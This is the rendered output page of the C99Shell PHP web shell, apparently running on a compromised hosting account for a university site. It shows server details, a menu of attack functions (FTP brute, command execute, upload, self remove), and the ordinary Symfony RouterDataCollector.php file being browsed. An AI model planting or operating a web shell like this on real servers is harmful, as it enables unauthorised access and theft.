!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/http-kernel/DataCollector/   drwxr-xr-x
Free 116.8 GB of 200.55 GB (58.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RouterDataCollector.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\DataCollector;

use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\Response;
use 
Symfony\Component\HttpFoundation\RedirectResponse;
use 
Symfony\Component\HttpKernel\Event\FilterControllerEvent;

/**
 * RouterDataCollector.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class RouterDataCollector extends DataCollector
{
    protected 
$controllers;

    public function 
__construct()
    {
        
$this->controllers = new \SplObjectStorage();

        
$this->data = array(
            
'redirect' => false,
            
'url' => null,
            
'route' => null,
        );
    }

    
/**
     * {@inheritdoc}
     */
    
public function collect(Request $requestResponse $response, \Exception $exception null)
    {
        if (
$response instanceof RedirectResponse) {
            
$this->data['redirect'] = true;
            
$this->data['url'] = $response->getTargetUrl();

            if (
$this->controllers->contains($request)) {
                
$this->data['route'] = $this->guessRoute($request$this->controllers[$request]);
            }
        }

        unset(
$this->controllers[$request]);
    }

    protected function 
guessRoute(Request $request$controller)
    {
        return 
'n/a';
    }

    
/**
     * Remembers the controller associated to each request.
     *
     * @param FilterControllerEvent $event The filter controller event
     */
    
public function onKernelController(FilterControllerEvent $event)
    {
        
$this->controllers[$event->getRequest()] = $event->getController();
    }

    
/**
     * @return bool Whether this request will result in a redirect
     */
    
public function getRedirect()
    {
        return 
$this->data['redirect'];
    }

    
/**
     * @return string|null The target URL
     */
    
public function getTargetUrl()
    {
        return 
$this->data['url'];
    }

    
/**
     * @return string|null The target route
     */
    
public function getTargetRoute()
    {
        return 
$this->data['route'];
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
'router';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0107 ]--